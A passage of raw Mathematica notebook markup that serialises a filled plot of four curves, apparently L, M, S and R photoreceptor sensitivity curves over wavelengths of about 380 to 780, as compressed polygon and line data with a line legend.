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
R/VmPYIemVNHx7+herMe7t9XfPD6Qf3i7nossZb/eGoU1a899bj76XmA6RnV
r7312NE92ufx/BdUb9aj4ZAXzqJGVM/208Nvpeus9Z+pXxx63ClaP+zQbapn
B+ixv9Ul1xtqqmcH6mG1FJpfx/CE+pv1OB+13Cd+H/WLh+jRZXWR+cfeUr94
mB6P/rR7fDCI6ttiPX5HBVnr36b6tkSPfSP7B1WaSP3ijB5vBjWapCh9l/rb
9chdPvJGlXvUL27So//bX7/mxFG/eIwe6751XDdiOfWLx+oxeuiAwCIet6jf
QI/BznNPL2h1g/yvR43C77juM6lfPEGPBn4YfslC/eIWPRofmHphWLNE8r8e
sybO6rzvBPWLW232BYzopxpJ/eLJesjGbd75vsIF8r8enXZfj7r/jPrFM2z2
V3u26P0p6hfP1qNewtDA4P3UL56jx5N3s09Hjz1TcL6h6lHnL8ncqYLzDQMu
zj3d6MKJgvMNl8qcWtO15vGC8w0t16SUmh6TUHC+QdrvufFcraMF5xsOdzuz
psG1wwXnGxLHaxNOaw8VnG+I39HsOTvgYMH5hvoeZ9ec9okvON/Q4Hzz53Pr
Hig437BKEeNzrra54HyD5w1L5Qrh+wrONwxJafx8onlPwfmG67UjTitK7S44
36DbvnrPcGZnwfkG18Dt2ycWiys43/CyxdL4ltu3F5xvyBk42Hpl7LaC8w3P
o51+LG64teB8w+ZCq3xUxbYUnG+wf543FZxv2N5fdvrNx9iC8w1vmiZWnuwU
W3C+oVl316zs5hsKzjfYn791Becbat7fut0zc03B+YZ96gOxjcJXF5xvsF9/
TMH5hgBONdg/PrrgfENvt3a79s9eWXC+YePMlIclekQVnG8YEBja85H3ioLz
DfeCUyzJ1ZcXnG848qatpJ/nsoLzDfPCdBuZZqaC8w3eW+UzXsRGFpxvqD3g
krzbj8UF5xvejfzSrEvYooLzDYqiTo37ZS0oON9wu8+7KZMWGwvON/xOOHNw
t7+h4HzD377yEp6/dAXnG6xdqhZvfltbcL5BXWf73EKHNAXnG4o2qZpli7sL
zjeI/ufX/6Ee8f/m/9/P/+/fd8yLcMyLcMyLcMyLsNvvmBfhmBfhmBfhmBfh
mBdh959jXoRjXoRjXoRjXoRjXoTd/455EY55EY55EY55EY55EXb/O+ZFOOZF
OOZFOOZFOOZF2P3vmBfhmBfhmBfhmBfhmBdht98xL8IxL8IxL8IxL8IxL8Lu
f8e8CMe8CMe8CMe8CMe8CLv/HfMiHPMiHPMiHPMiHPMi7P53zItwzItwzItw
zItwzIuw30/HvAjHvAjHvAjHvAjHvAi7/Y55EY55EY55EY55EY55EXb/O+ZF
OOZFOOZFOOZF0JdjXsS/7JgX8S875kX8y455Ef+yY17Ev+yYF/EvO+ZF/MuO
eRH/smNehGNehGNehGNehGNeBNnvmBfhmBfhmBfhmBfhmBdh959jXoRjXoRj
XoRjXoRjXoTd/455EY55EY55EY55EY55EXb/O+ZFOOZFOOZFOOZFOOZF2P3/
f58X8b8APy+ndg==
"], {{{}, {
EdgeForm[],
Directive[
RGBColor[1, 0, 0],
Opacity[0.2]],
GraphicsGroupBox[{
PolygonBox[CompressedData["
1:eJwl1WV0FgQYBeBvdAxGdy2IASNHju7RjNFjwMgRG7HBaEZKh0koKCihoKCg
YIKSBmGC3YLSaQA+HH485573/z3vDU1KjUvJEggEglgc9DDDcgQC4SxyLGQB
85nHXDKZw2xmMZMZTGcaU8lgCpNJJ41JTGQC40klhXGMZQyjSWYUIxnBcIYx
lCSGMJhBJDKQBAbQn370pQ+96UU8PYmjB93pRle60JlOdCSWDrSnHW1pQ2ta
0ZIWNKcZTWlCDI1pREMaUJ96RFOXOtSmFjWpQRTVqUZVIqlCZSpRkQjCCSOU
CpSnHGUpQ2lKUZISFKcYRSlCYQpRkAKEkJ98BJOXPOQmFznJQXaykZUsBAU9
LMx9cY+7/Me//MPf3OE2t7jJDa5zjatc4TKXuMhf/MkFzvMHv/Mbv/ILP/MT
P/ID3/Md3/INX3OOs3zFl3zB53zGp5zhNKc4ySd8zEd8yAmOc4yjHOEwH/A+
hzjIe7zLO7zNW7zJAfbzBq+zj728xqvsYTev8DK72MlLvMgOtrONrbzA82xh
M8/xLJvYyDM8zQbWs461PMWTPMHjPMajrGE1q1jJCpazjKUsefAHeIRFLGQB
85nHXDKZw2xmMZMZTGcaU8lgCpNJJ41JTGQC40klhXGMZQyjSWYUIxnBcIYx
lCSGMJhBJDKQBAbQn370pQ+96UU8PYmjB93pRle60JlOdCSWDrSnHW1pQ2ta
0ZIWNKcZTWlCDI1pREMaUJ96RFOXOtSmFjWpQRTVqUZVIqlCZSpRkQjCCSOU
CpSnHGUpQ2lKUZISFKcYRSlCYQpRkAKEkJ98BJOXPOQmFzkxA4HsZCMrD7bi
f4SDpnU=
"]]}]}, {}, {
EdgeForm[],
Directive[
RGBColor[0, 1, 0],
Opacity[0.2]],
GraphicsGroupBox[{
PolygonBox[CompressedData["
1:eJwl1VV4kAUYBeB/CYwwEKTETUVREQWlREUEGwUBW0ERBSUVEJQupbu7u2vE
GLCNZhsdo7sZzWhfHy7ec/ldned8MbUaVW0YGgRBCF1FF6IjgyCGHGFBkJ1s
ZCWKLGQmE5FEEE4YoYQQcN/Re9zlDre5xU0yuMF1rnGVK1zmEhdJ5wLnOcdZ
znCaU5zkBMc5xlGOcJhDHOQA+9nHXtLYw252sZMdbGcbW9nCZlJJIZlNbGQD
61nHWtawmiQSSWAVK1lBPMuJYxlLWcJiYlnEQhYwn3nMZQ6zmcVMZjCdaUxl
CpOZxEQmMJ5xjGUMoxnFSEYwnGEMZQiDGcRABtCffvSlD73pRU960J1udKUL
//IPnelERzrQnna0pQ2taUVL/uYvWtCcP2lGU5rwB7/TmEb8X8wG1Kcev/Er
danDL/xMbX6iFj/yAzWpwfd8x7d8w9d8xZd8wedUpxpV+YwqVOZTPqESH/MR
H/IB7/Me71KRCrxDed6mHG/xJm9QltcpQ2lKUZISvMarFKcYr/AyRXmJIrzI
CzxPYZ7jWQrxDE/zFDFE8yQFeYIC5CcfecnD4+QmF4+Rk0d5hId5iBxkJxtZ
iSILmclEJBGEE0YoIQTctyP3uMsdbnOLm2Rwg+tc4ypXuMwlLpLOBc5zjrOc
4TSnOMkJjnOMoxzhMIc4yAH2s4+9pLGH3exiJzvYzja2soXNpJJCMpvYyAbW
s461rGE1SSSSwCpWsoJ4lhPHMpayhMXEsoiFLGA+85jLHGYzi5nMYDrTmMoU
JjOJiUxgPOMYyxhGM4qRjGA4wxjKEAYziIEMoD/96EsfetOLnvSgO91CHvyI
/wBG7OC/
"]]}]}, {}, {
EdgeForm[],
Directive[
RGBColor[0, 0, 1],
Opacity[0.2]],
GraphicsGroupBox[{
PolygonBox[CompressedData["
1:eJwNxVN3kAEAANCvOqfXWq5Va9m2Xctty17Wlm1j1daybdu2bbfsf9B9uOeG
x8RFxqYMgiAFyaRJFQRhqYPgn//yh9/84ic/+M43vvKFz3wimY984D3veMsb
XvOKl7zgOc94yhMe84iHPOA+97jLHW5zi5vc4DrXuMoVLnOJi1zgPOc4yxlO
c4qTnOA4xzjKEQ5ziIMcYD/72MsedrOLnexgO9vYyhY2s4mNbGA961jLGlaz
ipWsYDnLWMoSFrOIJBaSSAILmM884pnLHGYzi5nMYDrTmMoUJjOJiUxgPOMY
yxhGM4qRjGA4wxjKEAYziDhiGcgA+tOPvvShN73oSQ+6E0M3utKFznSiIx1o
Tzva0obWtCKaKCJpSQua04ymNKExjYigIQ2oTz3qUofa1KImNahONapShcpU
oiIVKE85ylKG0pSiJCUoTjGKUoTCFKIgBchPPvKSh9yEk4swcpKD7ISSjaxk
ITOZyEgG0pOOENLyH8isdug=
"]]}]}, {}, {
EdgeForm[],
Directive[
GrayLevel[0.5],
Opacity[0.2]],
GraphicsGroupBox[{
PolygonBox[CompressedData["
1:eJwN1OeDyAUAgOHfnbuz59njCmW1hIpUkhItXNGOyC4yKjRQymgQss4eZ5w9
Dufszdl7j3Nn3NnjjEPPh+f9E97SzTtGdwgNgiCE/jIsLAhKRQRBFCUpQXGK
UZQiFKYQBYmkAPnJR17ykJtc5CQH2clGViIIJ4wshBJCwMPwIHjAfTK5x13u
cJsMbnGTG1znGle5wmUucZF00rjAec5xllRSOEMypznFSU5wnGMc5QiHOcRB
DrCffexlD7vZxU52sJ1tJLGVLWxmExvZwHrWsZY1rGYVK1nBchJZRgJLWcJi
4lnEQhYwn3nMZQ6zmcVM4pjBdKYxlVimMJlJTGQC4xnHWMYwmhhGMZIRDGcY
/zGUIQzmXwYxkH/4m7/4kwH0px99+YPf6cNv/EpvetGTX/iZn/iRHnSnGz/w
Pd/RlS50phPf0pEOfMPXtKcdbWlDa1rRkq9oQXO+pBlN+YLP+YxP+YSP+YgP
aUJjPuB9omlEQxrwHu/yDm/zFvWpx5vU5Q1epw6vUZtXqcUrvMxL1ORFalCd
F3ie56hGVarwLJV5hqd5iid5gkpUpALlKcfjPEZZylCaR3mEKEpRkhIUpxhF
KUJhClGQSAqQn3zkJQ+5yUVOcpCdbGQlgnDCyEIoIQQ89J8H3CeTe9zlDrfJ
4BY3ucF1rnGVK1zmEhdJJ40LnOccZ0klhTMkc5pTnOQExznGUY5wmEMc5AD7
2cde9rCbXexkB9vZRhJb2cJmNrGRDaxnHWtZw2pWsZIVLCeRZSSwlCUsJp5F
LGQB85nHXOYwm1nMJI4ZTGcaU4llCpOZxEQmMJ5xjGUMo4lhFCMZwXD+B9Ix
3sw=
"]]}]}, {}, {}, {}, {}, {}, {}, {}, {}, {}, {}, {}, {}, {}, {}, \
{}, {}, {}, {}, {}, {}}, {{}, {}, {
Hue[0.67, 0.6, 0.6],
Directive[
PointSize[0.006944444444444445],
AbsoluteThickness[1.6],
RGBColor[1, 0, 0]],
LineBox[CompressedData["
1:eJwl1WV7EAQUBeCNztE9YjC6u7tHj24YnSM3ursUDFBCwaAbJZXGoBulUVJB
6VR49/DhPfcXnHNDIiLD+wcGBARMFTE3FrGJQ1ziEZ8EJCQRiUlCUoJIRnJS
kJJUpCYNaUlHejKQkUwEk5ksZCUbIWQnB6HkJBe5yUNe8pGfAhSkEIUpQlGK
UZwSlKQUpSlDWcpRngpUpBKVqUJVqlGdGtSkFrWpQ13CqEd9GtCQRjSmCeE0
pRnNaUFLWtGaNrSlHe3pQEc60ZkIutCVbnSnBz3pRW/60Jd+9CeSAQxkEIMZ
wlCiiGYYwxnBSEYxmjGMZRzjmcBEJjGZKUxlGtOZwUxmMZs5fMCHzGUeH/Ex
n/Ap81nAZ3zOQhaxmCV8wZcsZRlf8TXf8C3LWcFKVrGaNaxlHevZwEY2sZkt
fMf3bGUb29nBTnbxAz+ymz3sZR/7OcBBDvETP/MLv3KYIxzlGMc5wUlOcZoz
nOUc57nAb/zORS5xmStc5RrXucEf/MlNbnGbO9zlHn/xN/d5wD/8y0Me8Zgn
POUZz3nBS17xmjf8x/+8Jab8gcQiNnGISzzik4CEJCIxSUhKEMlITgpSkorU
pCEt6UhPBjKSiWAyk4WsZCOE7OQglJzkIjd5yEs+8lOAghSiMEUoSjGKU4KS
lKI0ZShLOcpTgYpUojJVqEo1qlODmtSiNnWoSxj1qE8DGtKIxjQhnKY0ozkt
aEkrWtOGtrSjPR3oSCc6E0EXutKN7vSgJ73oTR/60o+Y8Y5kAAMZxGCGMJQo
ohnGcEYwklGMZgxjGcd4JjCRSUxmSuD73/AOmGemIA==
"]]}, {
Hue[0.9060679774997897, 0.6, 0.6],
Directive[
PointSize[0.006944444444444445],
AbsoluteThickness[1.6],
RGBColor[0, 1, 0]],
LineBox[CompressedData["
1:eJwV02V7FgQAheGXDRjd0t2IGCitiNLdggKiIKF0KiIgGORGd3d3ju4aPbpj
dI/OcfPhfv7AuU62Ju1qtY0VCAT6Sj/6M4CBDCKUMAYzhKEMYzgjGMkoRjOG
sYxjPBOYyCQmM4WpTGM6M5jJLGYzh7nMYz4LWMgiFrOEpSxjOStYySpWs4Zw
1rKO9WxgI5vYzBa2so3t7GAnu9jNHvYSwT72c4CDHOIwR4jkKMc4zglOcorT
nOEs5zjPBS5yictcIYqrXOM6N7jJLW5zh7vc4z4PeEg0j3jME57yjOe84CWv
eM0b3hLzfuSgQCAWQQQTmzjEJYR4xCcBCUlEYpKQlGQkJwUpScUHpCYNaUlH
ejKQkUxkJgtZyUZ2cpCTXOQmD3nJx4fk5yMK8DGf8CmfUZDP+YJCFKYIRSlG
cUrwJV9Rkq8pxTd8S2nKUJZylKcCFalEZapQlWpUpwY1qUVt6lCX76hHfb7n
BxrQkEb8SGN+4mea0JRfaEZzWtCSX/mNVrSmDW1pR3s60JFOdKYLXfmdP+jG
n3TnL3rQk178TW/68A//8h//05d+9GcAAxlEKGEMZghDGcZwRjCSUYxmDGMZ
x3gmMJFJTGYKU5nGdGYwk1nMZg5zmcd8FrCQRSxmCUtZxnJWsJJVrGYN4axl
HevZwEY2sZktbGUb29nBTnaxmz3sJYJ97OcABznEYY4QyVGOcZwTnOQUpznD
Wc5xngtc5BKXuUIUV7nGdW5wk1vc5g53ucd9HvCQaB7xmCc85RnPecFLXvGa
N7wlhkCw/xNEMLGJQ1xCiEd8EpCQRCQmCe8ARgzgbg==
"]]}, {
Hue[0.1421359549995791, 0.6, 0.6],
Directive[
PointSize[0.006944444444444445],
AbsoluteThickness[1.6],
RGBColor[0, 0, 1]],
LineBox[CompressedData["
1:eJwNxGOAFgYAANAv12rZvmzbNi+7Lusu23d12TVkbbXl2nLLDVlbxpax3Jbf
j/eCQsKCQ6MEAoFIJYgWCCQkEYlJQlKSkZwUpCQVqUlDWtKRngxkJIhMZCYL
WclGdnKQk1zkJg95yUd+ClCQQhSmCEUpRnFKUJJSlKYMZSlHeSpQkUpUpgpV
qUZ1alCTWtSmDnWpR30a0JBgGtGYJjSlGc1pQUta0Zo2tKUd7elACB3pRGe6
0JVudKcHPelFb0IJow996Ud/BjCQQQxmCEMZxnBGMJJRjGYMYxlHOBGMZwKR
TGQSk5nCVKYxnRnMZBazmcNc5jGfr/iab/iWBSxkEYtZwlKWsZwVrGQV3/E9
q1nDD/zIWtaxng1sZBOb2cJWfuJntrGdHexkF7vZw15+YR/7OcBBDnGYIxzl
V37jd/7gGMc5wUlOcZoznOUc57nAn/zFRS5xmStc5RrXucFNbvE3/3CbO9zl
Hvd5wEMe8Zgn/MtTnvGcF7zkFa95w3/8z1ve8Z4PfOQTgeiBQBSiEo3oxCAm
sYhNHL4gLvH4kvgkICGJSEwSkpKM5KQgJalITRrSko70ZCAjQWQiM1nISjay
k4Oc5CI3echLPvJTgIIUojBFKEoxilOCkpSiNGUoSznKU4GKVKIyVahKNapT
g5rUojZ1qEs96tOAhgTTiMY0oSnNaE4LWtKK1rShLe1oTwdC6EgnOtOFrnSj
Oz3oSS96E0oYfehLP/ozgIEMYjBDGMowhjOCkYxiNGMYyzjCiWA8E4hkIpOY
zBSmMo3pzGAms5jNHOYyj8/WaLIl
"]]}, {
Hue[0.37820393249936934`, 0.6, 0.6],
Directive[
PointSize[0.006944444444444445],
AbsoluteThickness[1.6],
GrayLevel[0.5]],
LineBox[CompressedData["
1:eJwN0+eDyAUAgOEf7s462+HuCE2USiEVZbS0bQ2RUNYJ7aJCHRpU4s7ee88z
z15nH2ee7exx55ztPB+e9z94y7fu0jAmRxAEsTI4JAiGEEc8QxnGcEYwklGM
ZgxjGcd4JjCRSUxmClOZxnRmMJNZzGYOc5nHfBawkEUksJglLGUZy1lBIitZ
xWrWsJZ1rGcDG9nEZpLYwla2sZ0d7GQXyexmDynsZR/7OcBBDpHKYY5wlGMc
5wQnOUUapznDWc5xngtc5BKXuUI6GVwlk2tkcZ0b3OQWt7nDXe6RTRAaBDnI
SS5CCCWM3OQhL/nITzgFKEghClOEohSjOBGUoCSliCSKaEpThgcoSznK8yAP
8TCP8CiPUYGKVOJxnqAyT/IUT1OFZ3iWqlSjOs9Rg+d5gRepSS1e4mVqU4e6
1OMVXuU1XucN6vMmb/E27/Au7/E+DWhIIxrThKY0ozkf8CEf8TEt+ISWtOJT
WvMZbWhLOz7nC9rTgY50ojMxdOFLutKN7nzF13zDt3zH9/zAj/xED3ryM7/w
K73oTR9+43di6Us/+vMHf/IXfzOAgfzDv/zHIP5nMEOII56hDGM4IxjJKEYz
hrGMYzwTmMgkJjOFqUxjOjOYySxmM4e5zGM+C1jIIhJYzBKWsozlrCCRlaxi
NWtYyzrWs4GNbGIzSWxhK9vYzg52sotkdrOHFPayj/0c4CCHSOUwRzjKMY5z
gpOcIo3TnOEs5zjPBS5yictcIZ0MrpLJNbK4zg1ucovb3OEu98gmCPM/OclF
CKGEkZs85CUf+QmnAAUpRGGKUJRiFCeCEpSkFJFEEU1p7gMwdd6B
"]]}}, {{
Directive[
PointSize[0.006944444444444445],
AbsoluteThickness[1.6],
RGBColor[1, 0, 0]]}, {
Directive[
PointSize[0.006944444444444445],
AbsoluteThickness[1.6],
RGBColor[0, 1, 0]]}, {
Directive[
PointSize[0.006944444444444445],
AbsoluteThickness[1.6],
RGBColor[0, 0, 1]]}, {
Directive[
PointSize[0.006944444444444445],
AbsoluteThickness[1.6],
GrayLevel[0.5]]}}, {{
Directive[
PointSize[0.006944444444444445],
AbsoluteThickness[1.6],
RGBColor[1, 0, 0]]}, {
Directive[
PointSize[0.006944444444444445],
AbsoluteThickness[1.6],
RGBColor[0, 1, 0]]}, {
Directive[
PointSize[0.006944444444444445],
AbsoluteThickness[1.6],
RGBColor[0, 0, 1]]}, {
Directive[
PointSize[0.006944444444444445],
AbsoluteThickness[1.6],
GrayLevel[
0.5]]}, {}, {}, {}, {}, {}, {}, {}, {}, {}, {}, {}, {}, {}}, {{
Directive[
PointSize[0.006944444444444445],
AbsoluteThickness[1.6],
RGBColor[1, 0, 0]]}, {
Directive[
PointSize[0.006944444444444445],
AbsoluteThickness[1.6],
RGBColor[0, 1, 0]]}, {
Directive[
PointSize[0.006944444444444445],
AbsoluteThickness[1.6],
RGBColor[0, 0, 1]]}, {
Directive[
PointSize[0.006944444444444445],
AbsoluteThickness[1.6],
GrayLevel[
0.5]]}, {}, {}, {}, {}, {}, {}, {}, {}, {}, {}, {}, {}, {}}}], {{}, \
{}}}, {DisplayFunction -> Identity, DisplayFunction -> Identity, AspectRatio ->
NCache[GoldenRatio^(-1), 0.6180339887498948], Axes -> {True, True},
AxesLabel -> {None, None}, AxesOrigin -> {381.875, 0}, DisplayFunction :>
Identity, Frame -> {{False, False}, {False, False}},
FrameLabel -> {{None, None}, {None, None}},
FrameTicks -> {{Automatic, Automatic}, {Automatic, Automatic}},
GridLines -> {None, None}, GridLinesStyle -> Directive[
GrayLevel[0.5, 0.4]],
Method -> {
"OptimizePlotMarkers" -> True,
"CoordinatesToolOptions" -> {"DisplayFunction" -> ({
(Identity[#]& )[
Part[#, 1]],
(Identity[#]& )[
Part[#, 2]]}& ), "CopiedValueFunction" -> ({
(Identity[#]& )[
Part[#, 1]],
(Identity[#]& )[
Part[#, 2]]}& )}}, PlotRange -> {{381.875, 780.}, {0, 1.}},
PlotRangeClipping -> True, PlotRangePadding -> {{
Scaled[0.02],
Scaled[0.02]}, {
Scaled[0.02],
Scaled[0.05]}}, Ticks -> {Automatic, Automatic}}],FormBox[
FormBox[
TemplateBox[{"\"L\"", "\"M\"", "\"S\"", "\"R\""}, "LineLegend",
DisplayFunction -> (FormBox[
StyleBox[
StyleBox[
PaneBox[
TagBox[
GridBox[{{
TagBox[
GridBox[{{
GraphicsBox[{{
Directive[
EdgeForm[
Directive[
Opacity[0.3],
GrayLevel[0]]],
PointSize[0.5],
AbsoluteThickness[1.6],
RGBColor[1, 0, 0]], {
LineBox[{{0, 10}, {20, 10}}]}}, {
Directive[
EdgeForm[
Directive[
Opacity[0.3],
GrayLevel[0]]],
PointSize[0.5],
AbsoluteThickness[1.6],
RGBColor[1, 0, 0]], {}}}, AspectRatio -> Full,
ImageSize -> {20, 10}, PlotRangePadding -> None,
ImagePadding -> Automatic,
BaselinePosition -> (Scaled[0.1] -> Baseline)], #}, {
GraphicsBox[{{
Directive[
EdgeForm[
Directive[
Opacity[0.3],
GrayLevel[0]]],
PointSize[0.5],
AbsoluteThickness[1.6],
RGBColor[0, 1, 0]], {
LineBox[{{0, 10}, {20, 10}}]}}, {
Directive[
EdgeForm[
Directive[
Opacity[0.3],
GrayLevel[0]]],
PointSize[0.5],
AbsoluteThickness[1.6],
RGBColor[0, 1, 0]], {}}}, AspectRatio -> Full,
ImageSize -> {20, 10}, PlotRangePadding -> None,
ImagePadding -> Automatic,
BaselinePosition -> (Scaled[0.1] -> Baseline)], #2}, {
GraphicsBox[{{
Directive[
EdgeForm[
Directive[
Opacity[0.3],
GrayLevel[0]]],
PointSize[0.5],
AbsoluteThickness[1.6],
RGBColor[0, 0, 1]], {
LineBox[{{0, 10}, {20, 10}}]}}, {
Directive[
EdgeForm[
Directive[
Opacity[0.3],
GrayLevel[0]]],
PointSize[0.5],
AbsoluteThickness[1.6],
RGBColor[0, 0, 1]], {}}}, AspectRatio -> Full,
ImageSize -> {20, 10}, PlotRangePadding -> None,
ImagePadding -> Automatic,
BaselinePosition -> (Scaled[0.1] -> Baseline)], #3}, {
GraphicsBox[{{
Directive[
EdgeForm[
Directive[
Opacity[0.3],
GrayLevel[0]]],
PointSize[0.5],
AbsoluteThickness[1.6],
GrayLevel[0.5]], {
LineBox[{{0, 10}, {20, 10}}]}}, {
Directive[
EdgeForm[
Directive[
Opacity[0.3],
GrayLevel[0]]],
PointSize[0.5],
AbsoluteThickness[1.6],
GrayLevel[0.5]], {}}}, AspectRatio -> Full,
ImageSize -> {20, 10}, PlotRangePadding -> None,
ImagePadding -> Automatic,
BaselinePosition -> (Scaled[0.1] -> Baseline)], #4}},
GridBoxAlignment -> {
"Columns" -> {Center, Left}, "Rows" -> {{Baseline}}},
AutoDelete -> False,
GridBoxDividers -> {
"Columns" -> {{False}}, "Rows" -> {{False}}},
GridBoxItemSize -> {"Columns" -> {{All}}, "Rows" -> {{All}}},
GridBoxSpacings -> {
"Columns" -> {{0.5}}, "Rows" -> {{0.8}}}], "Grid"]}},
GridBoxAlignment -> {"Columns" -> {{Left}}, "Rows" -> {{Top}}},
AutoDelete -> False,
GridBoxItemSize -> {
"Columns" -> {{Automatic}}, "Rows" -> {{Automatic}}},
GridBoxSpacings -> {"Columns" -> {{1}}, "Rows" -> {{0}}}],
"Grid"], Alignment -> Left, AppearanceElements -> None,
ImageMargins -> {{5, 5}, {5, 5}}, ImageSizeAction ->
"ResizeToFit"], LineIndent -> 0, StripOnInput -> False], {
FontFamily -> "Arial"}, Background -> Automatic, StripOnInput ->
False], TraditionalForm]& ),
InterpretationFunction :> (RowBox[{"LineLegend", "[",
RowBox[{
RowBox[{"{",
RowBox[{
RowBox[{"Directive", "[",
RowBox[{
RowBox[{"PointSize", "[", "0.006944444444444445`", "]"}],
",",
